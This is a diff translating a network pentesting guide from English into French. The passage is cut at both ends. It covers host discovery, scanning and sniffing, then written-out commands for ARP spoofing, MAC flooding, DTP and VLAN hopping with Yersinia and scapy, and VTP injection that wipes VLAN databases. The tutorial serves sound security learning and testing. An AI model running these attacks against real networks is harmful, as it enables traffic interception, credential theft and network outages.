**plages**) et vous voulez simplement trouver **les adresses IP qui répondent**. ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +C'est le moyen le plus **facile** et le plus **rapide** de découvrir si un hôte est en ligne ou non.\ +Vous pouvez essayer d'envoyer des paquets **ICMP** et **attendre des réponses**. La façon la plus simple est d'envoyer une **demande d'écho** et d'attendre la réponse. Vous pouvez le faire en utilisant un simple `ping` ou en utilisant `fping` pour les **plages**.\ +Vous pouvez également utiliser **nmap** pour envoyer d'autres types de paquets ICMP (cela évitera les filtres pour les demandes-réponses d'écho ICMP courantes). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` +### Découverte de port TCP -### TCP Port Discovery - -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +Il est très courant de constater que tous les types de paquets ICMP sont filtrés. Ensuite, tout ce que vous pouvez faire pour vérifier si un hôte est actif est de **chercher des ports ouverts**. Chaque hôte a **65535 ports**, donc, si vous avez un "grand" périmètre, vous ne pouvez pas tester si **chaque port** de chaque hôte est ouvert ou non, cela prendra trop de temps.\ +Ensuite, ce dont vous avez besoin est un **scanner de port rapide** ([masscan](https://github.com/robertdavidgraham/masscan)) et une liste des **ports les plus utilisés :** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +Vous pouvez également effectuer cette étape avec `nmap`, mais c'est plus lent et `nmap` a parfois des problèmes pour identifier les hôtes actifs. -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### Découverte de port HTTP +Il s'agit simplement d'une découverte de port TCP utile lorsque vous souhaitez **vous concentrer sur la découverte de services HTTP** : ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` +### Découverte de port UDP -### UDP Port Discovery - -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +Vous pouvez également essayer de vérifier si certains **ports UDP sont ouverts** pour décider si vous devez **accorder plus d'attention** à un **hôte.** Comme les services UDP ne répondent généralement pas avec **des données** à un paquet de sondage UDP vide régulier, il est difficile de dire si un port est filtré ou ouvert. La manière la plus simple de décider est d'envoyer un paquet lié au service en cours d'exécution, et comme vous ne savez pas quel service est en cours d'exécution, vous devriez essayer le plus probable en fonction du numéro de port : ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` +La ligne nmap proposée précédemment testera les **1000 ports UDP** les plus courants sur chaque hôte dans la plage **/24**, mais cela prendra **>20min**. Si vous avez besoin de **résultats plus rapides**, vous pouvez utiliser [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Cela enverra ces **sondes UDP** sur leur **port attendu** (pour une plage /24, cela ne prendra qu'une minute) : _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ - -### SCTP Port Discovery - +### Découverte de port SCTP ```bash #Probably useless, but it's pretty fast, why not trying? nmap -T4 -sY -n --open -Pn ``` - ## Pentesting Wifi -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +Ici, vous pouvez trouver un guide complet de toutes les attaques Wifi connues à l'époque de la rédaction : {% content-ref url="../pentesting-wifi/" %} [pentesting-wifi](../pentesting-wifi/) {% endcontent-ref %} -## Discovering hosts from the inside +## Découverte d'hôtes de l'intérieur -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +Si vous êtes à l'intérieur du réseau, l'une des premières choses que vous voudrez faire est de **découvrir d'autres hôtes**. Selon **combien de bruit** vous pouvez/voulez faire, différentes actions peuvent être effectuées : -### Passive - -You can use these tools to passively discover hosts inside a connected network: +### Passif +Vous pouvez utiliser ces outils pour découvrir passivement des hôtes à l'intérieur d'un réseau connecté : ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -97,12 +86,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### Actif -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +Notez que les techniques commentées dans [_**Découverte d'hôtes depuis l'extérieur**_](./#discovering-hosts-from-the-outside) (_Découverte de ports TCP/HTTP/UDP/SCTP_) peuvent également être **appliquées ici**.\ +Mais, comme vous êtes dans le **même réseau** que les autres hôtes, vous pouvez faire **plus de choses**: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -122,39 +109,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` +### ICMP actif -### Active ICMP +Notez que les techniques commentées dans _Découverte des hôtes depuis l'extérieur_ ([_**ICMP**_](./#icmp)) peuvent également être **appliquées ici**.\ +Mais, comme vous êtes dans le **même réseau** que les autres hôtes, vous pouvez faire **plus de choses** : -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - -* If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -* Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -* Use the `-PEPM` flag of `nmap`to perform host discovery sending **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PEPM -sP –vvv -n 10.12.5.0/24` +* Si vous **pinguez** une **adresse de diffusion de sous-réseau**, le ping devrait arriver à **chaque hôte** et ils pourraient **vous répondre** : `ping -b 10.10.5.255` +* En pingant l'**adresse de diffusion du réseau**, vous pourriez même trouver des hôtes à l'intérieur d'**autres sous-réseaux** : `ping -b 255.255.255.255` +* Utilisez le drapeau `-PEPM` de `nmap` pour effectuer une découverte d'hôte en envoyant des demandes **ICMPv4 echo**, **timestamp** et **masque de sous-réseau** : `nmap -PEPM -sP –vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Wake On Lan est utilisé pour **allumer** les ordinateurs via un **message réseau**. Le paquet magique utilisé pour allumer l'ordinateur est simplement un paquet où un **MAC Dst** est fourni et est ensuite **répété 16 fois** à l'intérieur du même paquet.\ +Ces paquets sont généralement envoyés dans un **ethernet 0x0842** ou dans un **paquet UDP sur le port 9**.\ +Si **aucun \[MAC]** n'est fourni, le paquet est envoyé à **l'ethernet de diffusion** (et le MAC de diffusion sera celui qui sera répété). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## Analyse des hôtes -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +Une fois que vous avez découvert toutes les adresses IP (externes ou internes) que vous souhaitez analyser en profondeur, différentes actions peuvent être effectuées. ### TCP -* **Open** port: _SYN --> SYN/ACK --> RST_ -* **Closed** port: _SYN --> RST/ACK_ -* **Filtered** port: _SYN --> \[NO RESPONSE]_ -* **Filtered** port: _SYN --> ICMP message_ - +* **Port ouvert** : _SYN --> SYN/ACK --> RST_ +* **Port fermé** : _SYN --> RST/ACK_ +* **Port filtré** : _SYN --> \[AUCUNE RÉPONSE]_ +* **Port filtré** : _SYN --> message ICMP_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -166,16 +149,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +Il existe 2 options pour scanner un port UDP : -* Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -* Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +* Envoyer un **paquet UDP** et vérifier la réponse _**ICMP unreachable**_ si le port est **fermé** (dans plusieurs cas, ICMP sera **filtré** et vous ne recevrez aucune information si le port est ouvert ou fermé). +* Envoyer des **datagrammes formatés** pour obtenir une réponse d'un **service** (par exemple, DNS, DHCP, TFTP et autres, comme indiqué dans _nmap-payloads_). Si vous recevez une **réponse**, alors le port est **ouvert**. +**Nmap** va **mélanger les deux** options en utilisant "-sV" (les scans UDP sont très lents), mais notez que les scans UDP sont plus lents que les scans TCP : ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -187,36 +168,32 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` +### Scan SCTP -### SCTP Scan - -SCTP sits alongside TCP and UDP. Intended to provide **transport** of **telephony** data over **IP**, the protocol duplicates many of the reliability features of Signaling System 7 (SS7), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +SCTP se situe aux côtés de TCP et UDP. Destiné à fournir le **transport** de données de **téléphonie** sur **IP**, le protocole duplique de nombreuses fonctionnalités de fiabilité du système de signalisation 7 (SS7) et sous-tend une famille de protocoles plus large connue sous le nom de SIGTRAN. SCTP est pris en charge par des systèmes d'exploitation tels que IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS et VxWorks. +Deux scans différents pour SCTP sont proposés par nmap : _-sY_ et _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### Évasion d'IDS et d'IPS {% content-ref url="ids-evasion.md" %} [ids-evasion.md](ids-evasion.md) {% endcontent-ref %} -### **More nmap options** +### **Plus d'options nmap** {% content-ref url="nmap-summary-esp.md" %} [nmap-summary-esp.md](nmap-summary-esp.md) {% endcontent-ref %} -### Revealing Internal IP Addresses - -Misconfigured routers, firewalls, and network devices sometimes **respond** to network probes **using nonpublic source addresses**. You can use _tcpdump_ used to **identify packets** received from **private addresses** during testing. In this case, the _eth2_ interface in Kali Linux is **addressable** from the **public Internet** (If you are **behind** a **NAT** of a **Firewall** this kind of packets are probably going to be **filtered**). +### Révélation des adresses IP internes +Les routeurs, pare-feux et dispositifs réseau mal configurés répondent parfois aux sondes réseau en utilisant des adresses source non publiques. Vous pouvez utiliser _tcpdump_ pour identifier les paquets reçus à partir d'adresses privées lors des tests. Dans ce cas, l'interface _eth2_ de Kali Linux est adressable depuis l'Internet public (si vous êtes derrière un NAT d'un pare-feu, ce type de paquets sera probablement filtré). ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -224,30 +201,26 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` - ## Sniffing -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. +En sniffant, vous pouvez apprendre des détails sur les plages d'adresses IP, les tailles de sous-réseau, les adresses MAC et les noms d'hôtes en examinant les trames et les paquets capturés. Si le réseau est mal configuré ou si le tissu de commutation est sous stress, les attaquants peuvent capturer du matériel sensible via un sniffing passif du réseau. -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +Si un réseau Ethernet commuté est correctement configuré, vous ne verrez que des trames de diffusion et du matériel destiné à votre adresse MAC. ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +On peut également capturer des paquets à partir d'une machine distante via une session SSH avec Wireshark en tant qu'interface graphique en temps réel. ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap +Bettercap est un outil de piratage réseau open source qui permet de réaliser des attaques de type Man In The Middle (MITM) sur des réseaux câblés et sans fil. Il permet également de capturer des paquets, de modifier des requêtes et des réponses, d'injecter des scripts JavaScript malveillants et de réaliser des attaques de phishing. Bettercap est un outil très puissant et polyvalent pour les tests de pénétration réseau. ```bash net.sniff on net.sniff stats @@ -256,23 +229,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +Évidemment. -### Capturing credentials +### Capture de mots de passe -You can us tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +Vous pouvez utiliser des outils tels que [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) pour extraire les informations d'identification à partir d'un fichier pcap ou d'une interface en direct. -## LAN attacks +## Attaques LAN ### ARP spoofing -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +Le spoofing ARP consiste à envoyer des réponses ARP gratuites pour indiquer que l'adresse IP d'une machine a l'adresse MAC de notre appareil. Ensuite, la victime changera la table ARP et contactera notre machine chaque fois qu'elle voudra contacter l'adresse IP usurpée. #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -280,37 +251,33 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** +Arpspoof est une technique de spoofing ARP qui permet à un attaquant de rediriger le trafic réseau en interceptant les paquets de données échangés entre deux hôtes. Cette technique est souvent utilisée pour mener des attaques de type Man-in-the-Middle (MITM) et permet à l'attaquant de capturer des informations sensibles telles que des identifiants de connexion ou des données de carte de crédit. Arpspoof est une technique couramment utilisée lors des tests de pénétration pour évaluer la sécurité des réseaux. ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` +### MAC Flooding - Débordement CAM -### MAC Flooding - CAM overflow - -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +Débordez la table CAM du commutateur en envoyant de nombreux paquets avec des adresses MAC source différentes. Lorsque la table CAM est pleine, le commutateur commence à se comporter comme un concentrateur (diffusant tout le trafic). ```bash macof -i ``` +Dans les commutateurs modernes, cette vulnérabilité a été corrigée. -In modern switches this vulnerability has been fixed. +### Attaques VLAN 802.1Q / DTP -### 802.1Q VLAN / DTP Attacks +#### Trunking dynamique -#### Dynamic Trunking +**DTP (Dynamic Trunking Protocol)** est un protocole de couche liaison conçu pour fournir un système de trunking automatique. Avec DTP, les commutateurs décident quel port fonctionnera en mode trunk (Trunk) et lequel ne le sera pas. L'utilisation de **DTP** indique une **mauvaise conception de réseau.** Les troncs devraient être strictement là où ils sont nécessaires, et cela devrait être documenté. -**DTP (Dynamic Trunking Protocol)** is a link layer protocol designed to provide an automatic trunking system. With DTP, switches decide which port will work in trunk mode (Trunk) and which will not. The use of **DTP** indicates **poor network design.** **Trunks should be strictly** where they are needed, and it should be documented. +**Par défaut, tous les ports de commutateur fonctionnent en mode Dynamic Auto.** Cela indique que le port de commutateur est en mode d'initiation de trunk à partir du commutateur voisin. **Le Pentester doit se connecter physiquement au commutateur et envoyer une trame DTP Desirable**, ce qui déclenche le passage du port en mode trunk. L'attaquant peut ensuite énumérer les VLAN en utilisant l'analyse de trame STP et contourner la segmentation VLAN en créant des interfaces virtuelles. -**By default, all switch ports operate in Dynamic Auto mode.** This indicates that the switch port is in trunk initiation mode from the neighbouring switch. **The Pentester needs to physically connect to the switch and send a DTP Desirable frame**, which triggers the port to switch to trunk mode. The attacker can then enumerate VLANs using STP frame analysis and bypass VLAN segmentation by creating virtual interfaces. - -Many switches support the Dynamic Trunking Protocol (DTP) by default, however, which an adversary can abuse to **emulate a switch and receive traffic across all VLANs**. The tool [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) can sniff an interface and **reports if switch is in Default mode, trunk, dynamic, auto or access mode** (this is the only one that would avoid VLAN hopping). The tool will indicate if the switch is vulnerable or not. - -If it was discovered that the the network is vulnerable, you can use _**Yersinia**_ to launch an "**enable trunking**" using protocol "**DTP**" and you will be able to see network packets from all the VLANs. +De nombreux commutateurs prennent en charge le protocole Dynamic Trunking (DTP) par défaut, que l'adversaire peut exploiter pour **émuler un commutateur et recevoir du trafic sur tous les VLAN**. L'outil [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) peut renifler une interface et **signaler si le commutateur est en mode par défaut, trunk, dynamique, automatique ou d'accès** (c'est le seul qui éviterait le saut de VLAN). L'outil indiquera si le commutateur est vulnérable ou non. +S'il était découvert que le réseau est vulnérable, vous pouvez utiliser _**Yersinia**_ pour lancer une "**activation du trunking**" en utilisant le protocole "**DTP**" et vous pourrez voir les paquets réseau de tous les VLAN. ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -321,26 +288,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../.gitbook/assets/image (646) (1).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +Pour énumérer les VLAN, il est également possible de générer le cadre DTP Desirable avec le script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Ne pas interrompre le script sous aucun prétexte. Il injecte DTP Desirable toutes les trois secondes. **Les canaux de tronc dynamiquement créés sur le commutateur ne vivent que pendant cinq minutes. Après cinq minutes, le tronc tombe.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +Je voudrais souligner que **Access/Desirable (0x03)** indique que la trame DTP est de type "Desirable", ce qui indique au port de passer en mode Trunk. Et **802.1Q/802.1Q (0xa5)** indique le type d'encapsulation **802.1Q**. -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +En analysant les trames STP, **nous apprenons l'existence des VLAN 30 et 60.**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### Attaquer des VLAN spécifiques +Une fois que vous connaissez les valeurs des ID de VLAN et des adresses IP, vous pouvez **configurer une interface virtuelle pour attaquer un VLAN spécifique**.\ +Si DHCP n'est pas disponible, utilisez _ifconfig_ pour définir une adresse IP statique. ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -373,163 +336,141 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` +#### Saut de VLAN automatique -#### Automatic VLAN Hopper +L'attaque discutée de **Dynamic Trunking et la création d'interfaces virtuelles pour découvrir des hôtes dans d'autres VLAN** est **automatiquement effectuée** par l'outil : [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +#### Double étiquetage -#### Double Tagging +Si un attaquant connaît la valeur de **l'adresse MAC, de l'adresse IP et de l'ID VLAN de l'hôte victime**, il pourrait essayer de **doubler l'étiquette d'une trame** avec son VLAN désigné et le VLAN de la victime et envoyer un paquet. Comme la **victime ne pourra pas se connecter** à l'attaquant, la **meilleure option pour l'attaquant est de communiquer via UDP** avec des protocoles qui peuvent effectuer des actions intéressantes (comme SNMP). -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). - -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +Une autre option pour l'attaquant est de lancer un **balayage de port TCP en usurpant une adresse IP contrôlée par l'attaquant et accessible par la victime** (probablement via internet). Ensuite, l'attaquant pourrait renifler dans le deuxième hôte qui lui appartient s'il reçoit des paquets de la victime. ![](<../../.gitbook/assets/image (635) (1).png>) -To perform this attack you could use scapy: `pip install scapy` - +Pour effectuer cette attaque, vous pouvez utiliser scapy : `pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` +#### Contournement de segmentation VLAN latérale -#### Lateral VLAN Segmentation Bypass - -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +Si vous avez **accès à un commutateur auquel vous êtes directement connecté**, vous avez la possibilité de **contourner la segmentation VLAN** dans le réseau. Il suffit de **passer le port en mode trunk** (également appelé trunk), de créer des interfaces virtuelles avec les identifiants des VLAN cibles et de configurer une adresse IP. Vous pouvez essayer de demander l'adresse de manière dynamique (DHCP) ou vous pouvez la configurer de manière statique. Cela dépend du cas. {% content-ref url="lateral-vlan-segmentation-bypass.md" %} [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) {% endcontent-ref %} -#### Layer 3 Private VLAN Bypass +#### Contournement de VLAN privé de couche 3 -In guest wireless networks and other environments, private VLAN (also known as _port isolation_) settings are used to **prevent peers from interacting** (i.e., clients **connect to a wireless access point but cannot address one another**). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer. +Dans les réseaux sans fil pour invités et autres environnements, les paramètres de VLAN privé (également connus sous le nom d'isolation de port) sont utilisés pour **empêcher les pairs d'interagir** (c'est-à-dire que les clients **se connectent à un point d'accès sans fil mais ne peuvent pas s'adresser les uns aux autres**). Selon les ACL du réseau (ou leur absence), il peut être possible d'envoyer des paquets IP à un routeur, qui les renvoie ensuite à un pair voisin. -This attack will send a **specially crafted packet to the IP of a client but with the MAC of the router**. Then, the **router will redirect the packet to the client**. As in _Double Tagging Attacks_ you can exploit this vulnerability by controlling a host accessible by the victim. +Cette attaque enverra un **paquet spécialement conçu à l'adresse IP d'un client mais avec le MAC du routeur**. Ensuite, le **routeur redirigera le paquet vers le client**. Comme dans les attaques de double étiquetage, vous pouvez exploiter cette vulnérabilité en contrôlant un hôte accessible par la victime. -### VTP Attacks +### Attaques VTP -**VTP (VLAN Trunking Protocol)** is a protocol designed to centrally manage VLANs. To keep track of the current VLAN database, switches check special revision numbers. When any table update occurs, the revision number is incremented by one. And if a switch detects a configuration with a higher revision number, it will automatically update its VLAN database. +**VTP (VLAN Trunking Protocol)** est un protocole conçu pour gérer de manière centralisée les VLAN. Pour suivre la base de données VLAN actuelle, les commutateurs vérifient des numéros de révision spéciaux. Lorsqu'une mise à jour de la table se produit, le numéro de révision est incrémenté de un. Et si un commutateur détecte une configuration avec un numéro de révision supérieur, il mettra automatiquement à jour sa base de données VLAN. -#### Roles in a VTP domain +#### Rôles dans un domaine VTP -* **VTP Server.** A switch in the VTP Server role can create new VLANs, delete old ones, or change information in the VLANs themselves. **It also generates VTP announcements for the rest of the domain members.** -* **VTP Client.** A switch in this role will receive specific VTP announcements from other switches in the domain to update the VLAN databases on its own. Clients are limited in their ability to create VLANs and are not even allowed to change the VLAN configuration locally. In other words, **read only access.** -* **VTP Transparent.** In this mode, the switch does not participate in VTP processes and can host full and local administration of the entire VLAN configuration. When operating in transparent mode, switches only transmit VTP announcements from other switches without affecting their VLAN configuration. **Such switches will always have a revision number of zero and cannot be attacked.** +* **Serveur VTP.** Un commutateur dans le rôle de serveur VTP peut créer de nouveaux VLAN, supprimer les anciens ou modifier les informations dans les VLAN eux-mêmes. **Il génère également des annonces VTP pour les autres membres du domaine.** +* **Client VTP.** Un commutateur dans ce rôle recevra des annonces VTP spécifiques d'autres commutateurs du domaine pour mettre à jour les bases de données VLAN sur le sien. Les clients sont limités dans leur capacité à créer des VLAN et ne sont même pas autorisés à modifier la configuration VLAN localement. En d'autres termes, **accès en lecture seule.** +* **Transparent VTP.** Dans ce mode, le commutateur ne participe pas aux processus VTP et peut héberger une administration complète et locale de toute la configuration VLAN. Lorsqu'il fonctionne en mode transparent, les commutateurs ne transmettent que des annonces VTP d'autres commutateurs sans affecter leur configuration VLAN. **Ces commutateurs auront toujours un numéro de révision de zéro et ne peuvent pas être attaqués.** -#### Advertisement types +#### Types d'annonces -* **Summary Advertisement —** the VTP announcement that the VTP server sends every **300 seconds (5 minutes).** This announcement stores the VTP domain name, protocol version, timestamp, and MD5 configuration hash value. -* **Subset Advertisement —** this is the VTP advertisement that is sent whenever a VLAN configuration change occurs. -* **Advertisement Request —** is a request from the VTP client to the VTP server for a Summary Advertisement message. Usually sent in response to a message that a switch has detected a Summary Advertisement with a higher configuration revision number. +* **Annonce de résumé —** l'annonce VTP que le serveur VTP envoie toutes les **300 secondes (5 minutes).** Cette annonce stocke le nom de domaine VTP, la version du protocole, l'horodatage et la valeur de hachage de configuration MD5. +* **Annonce de sous-ensemble —** il s'agit de l'annonce VTP qui est envoyée chaque fois qu'un changement de configuration VLAN se produit. +* **Demande d'annonce —** est une demande du client VTP au serveur VTP pour un message d'annonce de résumé. Généralement envoyé en réponse à un message indiquant qu'un commutateur a détecté une annonce de résumé avec un numéro de révision de configuration supérieur. -VTP can **only be attacked from a trunk port,** because **VTP announcements are only broadcast and received on trunk ports.** **Therefore, when pentesting after attacking DTP, your next target could be VTP.** To attack the VTP domain you can **use Yersinia** to **run a VTP inject that will erase the entire VLAN** **database** and thus paralyze the network. +VTP ne peut être attaqué que depuis un port trunk, car les annonces VTP ne sont diffusées et reçues que sur les ports trunk. **Par conséquent, lorsque vous effectuez un test de pénétration après avoir attaqué DTP, votre prochaine cible pourrait être VTP.** Pour attaquer le domaine VTP, vous pouvez utiliser Yersinia pour exécuter une injection VTP 